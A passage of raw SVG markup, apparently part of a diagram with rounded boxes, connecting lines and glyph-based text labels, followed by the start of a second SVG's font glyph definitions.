stroke-miterlimit="10"/><path d="M 26.301422 18.596239 L 26.301422 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.358062 18.596239 L 57.358062 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.301422 35.858153 L 26.301422 35.858153 C 26.301422 36.023778 26.435797 36.158153 26.601422 36.158153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.058062 36.158153 L 57.058062 36.158153 C 57.223883 36.158153 57.358062 36.023778 57.358062 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 81.667969 125.710938 L 176.96875 125.710938 L 176.96875 151.960938 L 81.667969 151.960938 Z M 81.667969 125.710938" fill-rule="evenodd" fill="#fff"/><use xlink:href="#n" x="83.082" y="146.359"/><use xlink:href="#o" x="93.102" y="146.359"/><use xlink:href="#o" x="102.008" y="146.359"/><use xlink:href="#p" x="110.914" y="146.359"/><use xlink:href="#q" x="116.773" y="146.359"/><use xlink:href="#r" x="125.328" y="146.359"/><use xlink:href="#s" x="132.32" y="146.359"/><use xlink:href="#t" x="136.422" y="146.359"/><use xlink:href="#u" x="141.285" y="146.359"/><use xlink:href="#v" x="145.777" y="146.359"/><use xlink:href="#q" x="154.762" y="146.359"/><use xlink:href="#s" x="163.316" y="146.359"/><use xlink:href="#w" x="167.418" y="146.359"/><path d="M 197.308594 118.835938 L 605.308594 118.835938 L 605.308594 158.835938 L 197.308594 158.835938 Z M 197.308594 118.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 124.835938 L 197.308594 118.835938 C 193.996094 118.835938 191.308594 121.519531 191.308594 124.835938 Z M 197.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 124.835938 L 611.308594 124.835938 C 611.308594 121.519531 608.625 118.835938 605.308594 118.835938 Z M 605.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 124.835938 L 611.308594 124.835938 L 611.308594 152.835938 L 191.308594 152.835938 Z M 191.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 152.835938 L 191.308594 152.835938 C 191.308594 156.148438 193.996094 158.835938 197.308594 158.835938 Z M 197.308594 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 152.835938 L 605.308594 158.835938 C 608.625 158.835938 611.308594 156.148438 611.308594 152.835938 Z M 605.308594 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 20.172997 L 54.40943 20.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 22.172997 L 54.40943 22.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 20.172997 L 34.00943 20.172997 C 33.843805 20.172997 33.70943 20.307177 33.70943 20.472997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 20.472997 L 54.70943 20.472997 C 54.70943 20.307177 54.57525 20.172997 54.40943 20.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 20.472997 L 33.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 20.472997 L 54.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 21.872997 L 33.70943 21.872997 C 33.70943 22.038622 33.843805 22.172997 34.00943 22.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 22.172997 L 54.40943 22.172997 C 54.57525 22.172997 54.70943 22.038622 54.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 191.308594 161.433594 L 432.507812 161.433594 L 432.507812 184.832031 L 191.308594 184.832031 Z M 191.308594 161.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#x" x="191.309" y="179.836"/><use xlink:href="#y" x="199.004" y="179.836"/><use xlink:href="#z" x="203.945" y="179.836"/><use xlink:href="#A" x="208.887" y="179.836"/><use xlink:href="#A" x="216.211" y="179.836"/><use xlink:href="#y" x="223.652" y="179.836"/><use xlink:href="#B" x="228.594" y="179.836"/><use xlink:href="#C" x="232.402" y="179.836"/><use xlink:href="#D" x="239.609" y="179.836"/><use xlink:href="#D" x="247.402" y="179.836"/><use xlink:href="#z" x="255.195" y="179.836"/><use xlink:href="#A" x="260.137" y="179.836"/><use xlink:href="#E" x="267.578" y="179.836"/><use xlink:href="#E" x="273.652" y="179.836"/><use xlink:href="#F" x="279.727" y="179.836"/><use xlink:href="#B" x="281.895" y="179.836"/><use xlink:href="#G" x="285.703" y="179.836"/><use xlink:href="#H" x="291.953" y="179.836"/><use xlink:href="#I" x="295.156" y="179.836"/><use xlink:href="#H" x="304.629" y="179.836"/><use xlink:href="#B" x="306.66" y="179.836"/><use xlink:href="#J" x="310.469" y="179.836"/><use xlink:href="#K" x="318.281" y="179.836"/><use xlink:href="#L" x="325.742" y="179.836"/><use xlink:href="#F" x="333.164" y="179.836"/><use xlink:href="#B" x="335.332" y="179.836"/><use xlink:href="#M" x="339.141" y="179.836"/><use xlink:href="#K" x="345.254" y="179.836"/><use xlink:href="#N" x="353.027" y="179.836"/><use xlink:href="#O" x="364.746" y="179.836"/><use xlink:href="#C" x="372.578" y="179.836"/><use xlink:href="#P" x="379.785" y="179.836"/><use xlink:href="#Q" x="387.695" y="179.836"/><use xlink:href="#B" x="393.984" y="179.836"/><use xlink:href="#P" x="397.793" y="179.836"/><use xlink:href="#C" x="405.703" y="179.836"/><use xlink:href="#N" x="412.91" y="179.836"/><use xlink:href="#A" x="424.629" y="179.836"/></g><path d="M 48.115289 24.841552 L 44.652789 24.83745" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 44.652789 24.83745 C 44.652789 24.71245 44.777984 24.587645 44.902984 24.587645 C 45.027984 24.587841 45.152789 24.713036 45.152789 24.838036 C 45.152594 24.963036 45.027398 25.087841 44.902398 25.087645 C 44.777398 25.087645 44.652594 24.96245 44.652789 24.83745" transform="matrix(20 0 0 20 -482.88 -284.624)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 81.667969 207.042969 L 176.96875 207.042969 L 176.96875 233.292969 L 81.667969 233.292969 Z M 81.667969 207.042969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#n" x="83.082" y="227.691"/><use xlink:href="#o" x="93.102" y="227.691"/><use xlink:href="#o" x="102.008" y="227.691"/><use xlink:href="#p" x="110.914" y="227.691"/><use xlink:href="#q" x="116.773" y="227.691"/><use xlink:href="#r" x="125.328" y="227.691"/><use xlink:href="#s" x="132.32" y="227.691"/><use xlink:href="#t" x="136.422" y="227.691"/><use xlink:href="#u" x="141.285" y="227.691"/><use xlink:href="#v" x="145.777" y="227.691"/><use xlink:href="#q" x="154.762" y="227.691"/><use xlink:href="#s" x="163.316" y="227.691"/><use xlink:href="#R" x="167.418" y="227.691"/><path d="M 197.308594 200.167969 L 605.308594 200.167969 L 605.308594 240.167969 L 197.308594 240.167969 Z M 197.308594 200.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 206.167969 L 197.308594 200.167969 C 193.996094 200.167969 191.308594 202.855469 191.308594 206.167969 Z M 197.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 206.167969 L 611.308594 206.167969 C 611.308594 202.855469 608.625 200.167969 605.308594 200.167969 Z M 605.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 206.167969 L 611.308594 206.167969 L 611.308594 234.167969 L 191.308594 234.167969 Z M 191.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 234.167969 L 191.308594 234.167969 C 191.308594 237.480469 193.996094 240.167969 197.308594 240.167969 Z M 197.308594 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 234.167969 L 605.308594 240.167969 C 608.625 240.167969 611.308594 237.480469 611.308594 234.167969 Z M 605.308594 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 24.239598 L 54.40943 24.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 26.239598 L 54.40943 26.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 24.239598 L 34.00943 24.239598 C 33.843805 24.239598 33.70943 24.373973 33.70943 24.539598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 24.539598 L 54.70943 24.539598 C 54.70943 24.373973 54.57525 24.239598 54.40943 24.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 24.539598 L 33.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 24.539598 L 54.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 25.939598 L 33.70943 25.939598 C 33.70943 26.105223 33.843805 26.239598 34.00943 26.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 26.239598 L 54.40943 26.239598 C 54.57525 26.239598 54.70943 26.105223 54.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 190.808594 242.433594 L 415.707031 242.433594 L 415.707031 265.832031 L 190.808594 265.832031 Z M 190.808594 242.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#S" x="190.809" y="260.836"/><use xlink:href="#O" x="199.324" y="260.836"/><use xlink:href="#C" x="207.156" y="260.836"/><use xlink:href="#z" x="214.363" y="260.836"/><use xlink:href="#y" x="219.734" y="260.836"/><use xlink:href="#N" x="224.676" y="260.836"/><use xlink:href="#A" x="236.395" y="260.836"/><use xlink:href="#P" x="243.836" y="260.836"/><use xlink:href="#y" x="251.746" y="260.836"/><use xlink:href="#F" x="256.688" y="260.836"/><use xlink:href="#B" x="258.855" y="260.836"/><use xlink:href="#E" x="262.664" y="260.836"/><use xlink:href="#T" x="268.738" y="260.836"/><use xlink:href="#U" x="276.551" y="260.836"/><use xlink:href="#y" x="280.457" y="260.836"/><use xlink:href="#A" x="285.281" y="260.836"/><use xlink:href="#F" x="292.723" y="260.836"/><use xlink:href="#B" x="294.891" y="260.836"/><use xlink:href="#T" x="298.699" y="260.836"/><use xlink:href="#P" x="306.512" y="260.836"/><use xlink:href="#U" x="314.422" y="260.836"/><use xlink:href="#y" x="318.328" y="260.836"/><use xlink:href="#F" x="323.27" y="260.836"/><use xlink:href="#B" x="325.438" y="260.836"/><use xlink:href="#J" x="329.246" y="260.836"/><use xlink:href="#T" x="337.059" y="260.836"/><use xlink:href="#U" x="344.871" y="260.836"/><use xlink:href="#V" x="348.777" y="260.836"/><use xlink:href="#D" x="352.977" y="260.836"/><use xlink:href="#U" x="360.77" y="260.836"/><use xlink:href="#P" x="364.676" y="260.836"/><use xlink:href="#W" x="372.586" y="260.836"/><use xlink:href="#F" x="380.359" y="260.836"/><use xlink:href="#B" x="382.527" y="260.836"/><use xlink:href="#X" x="386.336" y="260.836"/><use xlink:href="#K" x="394.773" y="260.836"/><use xlink:href="#K" x="402.547" y="260.836"/><use xlink:href="#z" x="410.32" y="260.836"/></g><path d="M 148.910156 290.542969 L 176.308594 290.542969 L 176.308594 316.792969 L 148.910156 316.792969 Z M 148.910156 290.542969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#Y" x="149.238" y="311.191"/><use xlink:href="#u" x="158.379" y="311.191"/><use xlink:href="#Z" x="162.871" y="311.191"/><use xlink:href="#aa" x="168.301" y="311.191"/><path d="M 197.308594 283.667969 L 385.308594 283.667969 L 385.308594 323.667969 L 197.308594 323.667969 Z M 197.308594 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 289.667969 L 197.308594 283.667969 C 193.996094 283.667969 191.308594 286.355469 191.308594 289.667969 Z M 197.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.308594 289.667969 L 391.308594 289.667969 C 391.308594 286.355469 388.625 283.667969 385.308594 283.667969 Z M 385.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 289.667969 L 391.308594 289.667969 L 391.308594 317.667969 L 191.308594 317.667969 Z M 191.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 317.667969 L 191.308594 317.667969 C 191.308594 320.980469 193.996094 323.667969 197.308594 323.667969 Z M 197.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.308594 317.667969 L 385.308594 323.667969 C 388.625 323.667969 391.308594 320.980469 391.308594 317.667969 Z M 385.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 28.414598 L 43.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 30.414598 L 43.40943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 28.414598 L 34.00943 28.414598 C 33.843805 28.414598 33.70943 28.548973 33.70943 28.714598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.70943 28.714598 L 43.70943 28.714598 C 43.70943 28.548973 43.57525 28.414598 43.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 28.714598 L 33.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.70943 28.714598 L 43.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 30.114598 L 33.70943 30.114598 C 33.70943 30.280223 33.843805 30.414598 34.00943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.40943 30.414598 L 43.40943 30.414598 C 43.57525 30.414598 43.70943 30.280223 43.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 113.960938 361.773438 L 176.3125 361.773438 L 176.3125 388.023438 L 113.960938 388.023438 Z M 113.960938 361.773438" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#ab" x="114.883" y="382.422"/><use xlink:href="#ac" x="123.789" y="382.422"/><use xlink:href="#ad" x="128.555" y="382.422"/><use xlink:href="#s" x="137.461" y="382.422"/><use xlink:href="#Y" x="141.348" y="382.422"/><use xlink:href="#ae" x="149.941" y="382.422"/><use xlink:href="#o" x="158.848" y="382.422"/><use xlink:href="#q" x="167.754" y="382.422"/></g><path d="M 197.308594 354.894531 L 305.308594 354.894531 L 305.308594 394.894531 L 197.308594 394.894531 Z M 197.308594 354.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 360.894531 L 197.308594 354.894531 C 193.996094 354.894531 191.308594 357.582031 191.308594 360.894531 Z M 197.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.308594 360.894531 L 311.308594 360.894531 C 311.308594 357.582031 308.625 354.894531 305.308594 354.894531 Z M 305.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 360.894531 L 311.308594 360.894531 L 311.308594 388.894531 L 191.308594 388.894531 Z M 191.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 388.894531 L 191.308594 388.894531 C 191.308594 392.210938 193.996094 394.894531 197.308594 394.894531 Z M 197.308594 388.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.308594 388.894531 L 305.308594 394.894531 C 308.625 394.894531 311.308594 392.210938 311.308594 388.894531 Z M 305.308594 388.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 31.975927 L 39.40943 31.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 33.975927 L 39.40943 33.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 31.975927 L 34.00943 31.975927 C 33.843805 31.975927 33.70943 32.110302 33.70943 32.275927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.70943 32.275927 L 39.70943 32.275927 C 39.70943 32.110302 39.57525 31.975927 39.40943 31.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 32.275927 L 33.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.70943 32.275927 L 39.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 33.675927 L 33.70943 33.675927 C 33.70943 33.841747 33.843805 33.975927 34.00943 33.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.40943 33.975927 L 39.40943 33.975927 C 39.57525 33.975927 39.70943 33.841747 39.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 477.308594 283.667969 L 605.308594 283.667969 L 605.308594 323.667969 L 477.308594 323.667969 Z M 477.308594 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.308594 289.667969 L 477.308594 283.667969 C 473.996094 283.667969 471.308594 286.355469 471.308594 289.667969 Z M 477.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 289.667969 L 611.308594 289.667969 C 611.308594 286.355469 608.625 283.667969 605.308594 283.667969 Z M 605.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 471.308594 289.667969 L 611.308594 289.667969 L 611.308594 317.667969 L 471.308594 317.667969 Z M 471.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.308594 317.667969 L 471.308594 317.667969 C 471.308594 320.980469 473.996094 323.667969 477.308594 323.667969 Z M 477.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 317.667969 L 605.308594 323.667969 C 608.625 323.667969 611.308594 320.980469 611.308594 317.667969 Z M 605.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 48.00943 28.414598 L 54.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.00943 30.414598 L 54.40943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.00943 28.414598 L 48.00943 28.414598 C 47.843805 28.414598 47.70943 28.548973 47.70943 28.714598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 28.714598 L 54.70943 28.714598 C 54.70943 28.548973 54.57525 28.414598 54.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.70943 28.714598 L 47.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 28.714598 L 54.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.70943 30.114598 L 47.70943 30.114598 C 47.70943 30.280223 47.843805 30.414598 48.00943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 30.414598 L 54.40943 30.414598 C 54.57525 30.414598 54.70943 30.280223 54.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 422.511719 290.542969 L 460.3125 290.542969 L 460.3125 316.792969 L 422.511719 316.792969 Z M 422.511719 290.542969" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#af" x="423.063" y="311.191"/><use xlink:href="#Z" x="431.852" y="311.191"/><use xlink:href="#ag" x="437.672" y="311.191"/><use xlink:href="#Z" x="445.934" y="311.191"/><use xlink:href="#q" x="451.754" y="311.191"/></g></svg>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 707 453"><defs><symbol overflow="visible" id="a"><path style="stroke:none" d="M1.281-13.86a6.254 6.254 0 0 1 1.36-.234c.476-.039.953-.062 1.421-.062.532 0 1.055.062 1.579.187.52.117.988.336 1.406.656.426.313.766.75 1.016 1.313.257.563.39 1.277.39 2.14 0 .844-.125 1.56-.375 2.141-.242.586-.562 1.063-.969 1.438a3.698 3.698 0 0 1-1.406.797 5.272 5.272 0 0 1-1.625.25h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0h-1.5zm2.86 1.079c-.274 0-.532.011-.782.031a3.635 3.635 0 0 0-.578.094v5.953a.56.56 0 0 0 .25.062c.114 0 .227.008.344.016h.61a4.08 4.08 0 0 0 1.078-.14c.343-.094.644-.258.906-.5.27-.25.488-.583.656-1 .164-.426.25-.958.25-1.594 0-.563-.078-1.024-.234-1.391a2.41 2.41 0 0 0-.594-.906 2.06 2.06 0 0 0-.86-.485 3.87 3.87 0 0 0-1.046-.14zm0 0"/></symbol><symbol overflow="visible" id="b"><path style="stroke:none" d="M.734-5c0-1.8.305-3.125.922-3.969.625-.844 1.508-1.265 2.657-1.265 1.226 0 2.132.433 2.718 1.296.582.868.875 2.18.875 3.938 0 1.813-.32 3.14-.953 3.984-.625.836-1.508 1.25-2.64 1.25-1.22 0-2.122-.43-2.704-1.296C1.023-1.926.734-3.239.734-5zm1.5 0c0 .586.036 1.117.11 1.594.07.48.191.898.36 1.25.163.344.382.617.655.812.27.188.586.282.954.282.695 0 1.218-.305 1.562-.922.352-.625.531-1.63.531-3.016 0-.57-.039-1.098-.11-1.578a4.47 4.47 0 0 0-.359-1.25c-.167-.352-.386-.625-.656-.813a1.62 1.62 0 0 0-.968-.296c-.68 0-1.196.312-1.547.937-.356.625-.532 1.625-.532 3zm0 0"/></symbol><symbol overflow="visible" id="c"><path style="stroke:none" d="M1.016-1.64a4.6 4.6 0 0 0 .953.406c.363.117.738.171 1.125.171.445 0 .82-.109 1.125-.328.312-.218.468-.57.468-1.062 0-.414-.093-.754-.28-1.016a3.06 3.06 0 0 0-.72-.719 6.653 6.653 0 0 0-.921-.593 5.605 5.605 0 0 1-.938-.657 3.284 3.284 0 0 1-.703-.89C.937-6.68.844-7.125.844-7.656c0-.852.226-1.492.687-1.922.457-.438 1.11-.656 1.953-.656.54 0 1.008.054 1.407.156.406.094.754.226 1.046.39l-.375 1.204a4.009 4.009 0 0 0-.875-.329 4.333 4.333 0 0 0-1.03-.124c-.481 0-.829.101-1.048.296-.218.2-.328.512-.328.938 0 .336.094.621.281.86.188.23.422.445.704.64.289.187.601.387.937.594.332.199.64.433.922.703.29.273.531.601.719.984.187.375.281.852.281 1.422 0 .375-.063.73-.188 1.063a2.273 2.273 0 0 1-.546.875c-.25.242-.559.433-.922.578a3.478 3.478 0 0 1-1.282.218c-.593 0-1.105-.058-1.53-.172-.43-.101-.79-.25-1.079-.437zm0 0"/></symbol><symbol overflow="visible" id="d"><path style="stroke:none" d="M.188-10h1.218v-1.984l1.438-.454V-10H5v1.297H2.844v5.969c0 .586.066 1.007.203 1.265.144.262.375.39.687.39.27 0 .5-.03.688-.093.195-.062.41-.14.64-.234l.282 1.14a4.299 4.299 0 0 1-.969.344 4.34 4.34 0 0 1-1.11.14c-.667 0-1.148-.214-1.437-.64-.281-.437-.422-1.144-.422-2.125v-6.156H.188zm0 0"/></symbol><symbol overflow="visible" id="e"><path style="stroke:none" d="M1.078-9.406c.383-.239.852-.422 1.406-.547a7.435 7.435 0 0 1 1.75-.203c.563 0 1.008.086 1.344.25.344.168.613.398.813.687.195.281.32.606.375.969.062.367.093.75.093 1.156 0 .793-.015 1.57-.046 2.328a53.04 53.04 0 0 0-.047 2.172c0 .5.015.969.046 1.406.032.43.094.84.188 1.235H5.906l-.343-1.188h-.079a2.73 2.73 0 0 1-.89.907C4.207.016 3.69.14 3.047.14c-.73 0-1.324-.25-1.781-.75-.461-.5-.688-1.192-.688-2.079 0-.57.094-1.05.281-1.437.196-.383.473-.695.829-.938a3.346 3.346 0 0 1 1.265-.5 7.995 7.995 0 0 1 1.625-.156h.406c.133 0 .274.008.422.016.032-.406.047-.77.047-1.094 0-.758-.117-1.289-.344-1.594-.218-.312-.632-.468-1.234-.468a4.89 4.89 0 0 0-1.219.171 4.705 4.705 0 0 0-1.094.422zm4.344 4.844c-.137-.008-.274-.016-.406-.016-.137-.008-.266-.016-.391-.016-.324 0-.64.028-.953.078a2.594 2.594 0 0 0-.813.282 1.485 1.485 0 0 0-.578.53c-.136.231-.203.517-.203.86 0 .531.129.95.39 1.25.259.293.598.438 1.016.438.551 0 .977-.13 1.282-.39.312-.27.53-.567.656-.891zm0 0"/></symbol><symbol overflow="visible" id="f"><path style="stroke:none" d="M2.719-2.375c0 .46.062.793.187 1 .125.2.301.297.531.297.282 0 .61-.07.985-.219l.14 1.156c-.18.106-.421.188-.734.25-.312.07-.594.11-.844.11-.511 0-.921-.157-1.234-.469-.313-.313-.469-.863-.469-1.656V-14H2.72zm0 0"/></symbol><symbol overflow="visible" id="g"><path style="stroke:none" d="M6.656-3.922H2.703L1.578 0H.094l4.218-14.219h.829L9.359 0H7.797zM3.094-5.266h3.203L5.078-9.578l-.375-2.11h-.047l-.375 2.141zm0 0"/></symbol><symbol overflow="visible" id="h"><path style="stroke:none" d="M7.484-3.438c0 .68.004 1.293.016 1.844.008.555.055 1.102.14 1.64h-.984l-.312-1.202h-.078c-.188.398-.485.73-.891 1-.398.258-.875.39-1.438.39-1.085 0-1.89-.414-2.421-1.25C.992-1.859.734-3.18.734-4.984c0-1.707.32-3 .97-3.875.655-.883 1.546-1.329 2.671-1.329.383 0 .691.028.922.079.226.043.476.12.75.234V-14h1.437zM6.047-8.421a1.848 1.848 0 0 0-.64-.344c-.231-.07-.54-.109-.923-.109-.71 0-1.261.324-1.656.969-.398.636-.594 1.62-.594 2.953 0 .586.036 1.117.11 1.594.07.468.187.875.344 1.218.156.344.351.61.593.797.25.188.555.282.922.282.957 0 1.57-.567 1.844-1.704zm0 0"/></symbol><symbol overflow="visible" id="i"><path style="stroke:none" d="M1.188-10h1.015l.25 1.063h.063c.187-.383.43-.688.734-.907.3-.226.664-.344 1.094-.344.3 0 .644.063 1.031.188l-.281 1.453a2.973 2.973 0 0 0-.907-.172c-.43 0-.777.125-1.046.375-.274.242-.446.57-.516.985V0H1.187zm0 0"/></symbol><symbol overflow="visible" id="j"><path style="stroke:none" d="M7.156-.688c-.312.305-.718.532-1.218.688a5.128 5.128 0 0 1-1.563.234c-.625 0-1.168-.12-1.625-.359-.46-.25-.84-.602-1.14-1.063-.305-.457-.528-1.003-.673-1.64A10.503 10.503 0 0 1 .734-5c0-1.707.313-3.004.938-3.89.633-.895 1.523-1.344 2.672-1.344.375 0 .742.046 1.11.14.362.094.69.281.984.563.289.273.523.664.703 1.172.187.511.28 1.171.28 1.984 0 